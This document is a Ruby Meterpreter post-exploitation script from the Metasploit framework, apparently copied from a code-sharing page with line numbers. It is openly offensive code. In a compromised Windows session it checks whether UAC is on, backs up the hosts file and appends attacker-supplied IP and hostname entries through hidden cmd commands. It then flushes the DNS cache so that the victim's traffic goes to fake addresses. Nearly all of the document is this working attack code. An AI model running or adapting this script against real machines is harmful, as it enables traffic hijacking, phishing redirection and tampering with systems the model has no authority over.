Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6

7

8

9
# Meterpreter script for modifying the hosts file in windows
10
# given a single entry or several in a file and clear the
11
# DNS cache on the target machine.
12
# This script works with Windows 2000,Windows XP,Windows 2003,
13
# Windows Vista and Windows 2008.
14
# Provided: carlos_perez[at]darkoperator[dot]com
15
# Version: 0.1.0
16
# Note: in Vista UAC must be disabled to be able to perform hosts
17
# file modifications.
18
################## Variable Declarations ##################
19
session = client
20
# Setting Arguments
21
@@exec_opts = Rex::Parser::Arguments.new(
22
  "-h" => [ false, "Help Options." ],
23
  "-e" => [ true,  "Host entry in the format of IP,Hostname." ],
24
  "-l" => [ true,  "Text file with list of entries in the format of IP,Hostname. One per line." ]
25
)
26
def usage
27
  print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.")
28
  print_line("Since Windows will check first the Hosts file instead of the configured DNS Server")
29
  print_line("it will assist in diverting traffic to the fake entry or entries. Either a single")
30
  print_line("entry can be provided or a series of entries provided a file with one per line.")
31
  print_line(@@exec_opts.usage)
32
  print_line("Example:\n\n")
33
  print_line("run hostsedit -e 127.0.0.1,google.com\n")
34
  print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n")
35
  raise Rex::Script::Completed
36
end
37

38

39
record = ""
40
#Set path to the hosts file
41
hosts = session.sys.config.getenv('SYSTEMROOT')+"\\System32\\drivers\\etc\\hosts"
42
#Function check if UAC is enabled
43
def checkuac(session)
44
  winver = session.sys.config.sysinfo
45
  if winver["OS"] =~ (/Windows 7|Vista/)
46
    print_status("Checking if UAC is enabled.")
47
    open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ)
48
    value = open_key.query_value("EnableLUA").data
49
    if value == 1
50
      print_status("\tUAC is enabled")
51
      raise "Unable to continue UAC is enabbled."
52
    else
53
      print_status("\tUAC is disabled")
54
      status = false
55
    end
56
  end
57
end
58
#Function for adding record to hosts file
59
def add2hosts(session,record,hosts)
60
  ip,host = record.split(",")
61
  print_status("Adding Record for Host #{host} with IP #{ip}")
62
  session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true})
63
end
64

65
#Make a backup of the hosts file on the target
66
def backuphosts(session,hosts)
67
  random = sprintf("%.5d",rand(100000))
68
  print_status("Making Backup of the hosts file.")
69
  session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true})
70
  print_status("Backup loacated in #{hosts}#{random}.back")
71
end
72
# Clear DNS Cached entries
73
def cleardnscach(session)
74
  print_status("Clearing the DNS Cache")
75
  session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true})
76
end
77
if client.platform == 'windows'
78
  @@exec_opts.parse(args) { |opt, idx, val|
79
    case opt
80
    when "-e"
81
      checkuac(session)
82
      backuphosts(session,hosts)
83
      add2hosts(session,val,hosts)
84
      cleardnscach(session)
85
    when "-l"
86
      checkuac(session)
87
      if not ::File.exist?(val)
88
        raise "File #{val} does not exist!"
89
      else
90
        backuphosts(session,hosts)
91
        ::File.open(val, "r").each_line do |line|
92
          next if line.strip.length < 1
93
          next if line[0,1] == "#"
94
          add2hosts(session,line.chomp,hosts)
95
        end
96
        cleardnscach(session)
97
      end
98
    when "-h"
99
      usage
100
    end
101
  }
102
  if args.length == 0
103
    usage
104
  end
105
else
106
  print_error("This version of Meterpreter is not supported with this Script!")
107
  raise Rex::Script::Completed
108
end
109

110